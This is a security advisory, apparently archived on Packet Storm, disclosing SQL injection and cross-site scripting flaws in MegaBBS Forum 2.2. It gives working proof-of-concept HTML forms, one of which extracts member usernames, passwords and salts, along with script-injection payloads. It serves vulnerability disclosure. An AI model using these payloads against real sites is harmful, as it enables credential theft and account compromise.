what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

megabbs-multi.txt

megabbs-multi.txt
Posted Apr 28, 2008
Authored by AmnPardaz Security Research Team | Site bugreport.ir

MegaBBS Forum version 2.2 suffers from SQL injection and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, sql injection
SHA-256 | 79eeae701d5f9803bf5c9794d8af68df423590af24a4274456d51df28e9dfa57

megabbs-multi.txt

Change Mirror Download
########################## www.BugReport.ir #######################################
#
# AmnPardaz Security Research Team
#
# Title: MegaBBS Forum Multiple Vulnerabilities.
# Vendor: http://www.pd9soft.com/
# Vulnerable Version: 2.2
# Exploit: Available
# Impact: Medium
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/37
###################################################################################


####################
1. Description:
####################
A complete, fully featured ASP website system. Includes an extremely powerful forum, calendars, polls, and photo albums. Best of all, it's completely free! Find out why MegaBBS is one of the fastest growing ASP messaging portals available today.

####################
2. Vulnerability:
####################
2.1. There is a SQL Injection in "/forums/attach-file.asp" in "attachmentid" parameter.
2.1.1. POC:
Check the Exploit/POC section.
2.3. There is a XSS in "/admin/impersonate.asp".
2.3.1. POC:
/admin/impersonate.asp?redirect=javascript:alert('XSS')&action=end
2.2. There is a SQL Injection in "/profile/controlpanel.asp" in "invisible" and "timeoffset" parameters.
2.2.1. POC:
Check the Exploit/POC section.
2.4. There is a XSS in "send-private-message.asp". This XSS needs authentication.
2.4.1. POC:
Check the Exploit/POC section.
####################
3. Exploits/POC:
####################

Original Exploit URL: http://bugreport.ir/index.php?/37/exploit

3.1. "/forums/attach-file.asp" SQL Inection POC:
-------------
<form ENCTYPE="multipart/form-data" method="post" action="http://[Site URL]/forums/attach-file.asp?action=postupload&mid=[YOUR MSG ID]&attachmentid=1 or 1=convert(int,(select top 1 username%2bpassword%2bsalt from members where username<>''))">
File : <input type='file' name='attachment' size='40'>
<br />
<input type='submit' value='Submit'>
</form>
-------------
3.2. "/profile/controlpanel.asp" SQL Injection POC:
-------------
<form method='post' name='updateprofile' action='http://[Site URL]/profile/controlpanel.asp'>
Injection1 (Numeric Update):<input type="text" name="invisible" value="1" />
<br />
Injection2 (Numeric Update):<input type="text" name="timeoffset" value="1" />
<br />
<input type="hidden" name="action" value="updateinfo" />
<input type="hidden" name="showemail" value="1" />
<input type="hidden" name="usesignature" value="1" />
<input type="hidden" name="viewsignature" value="1" />
<input type="hidden" name="disablepostcount" value="1" />
<input type="hidden" name="userichedit" value="1" />
<input type="hidden" name="emailnotifications" value="1" />
<input type="hidden" name="sendprivatenotifications" value="1" />
<input type="hidden" name="includebody" value="1" />
<input type="hidden" name="language" value="1" />
<input type="hidden" name="disallowbroadcasts" value="1" />
<input type="hidden" name="viewavatars" value="1" />
<input type="submit" />
</form>
-------------
3.3. "send-private-message.asp" XSS POC:
-------------
<form action="http://[Site URL]/send-private-message.asp" method="post">
<input type="hidden" name="action" value="post" />
<input type="text" name="toid" value="<script>alert('XSS')</script>" />
<br />
<input type="submit" name="" value="submit" />
</form>
-------------

####################
4. Solution:
####################
Edit the source code to ensure that inputs are properly sanitised.
####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close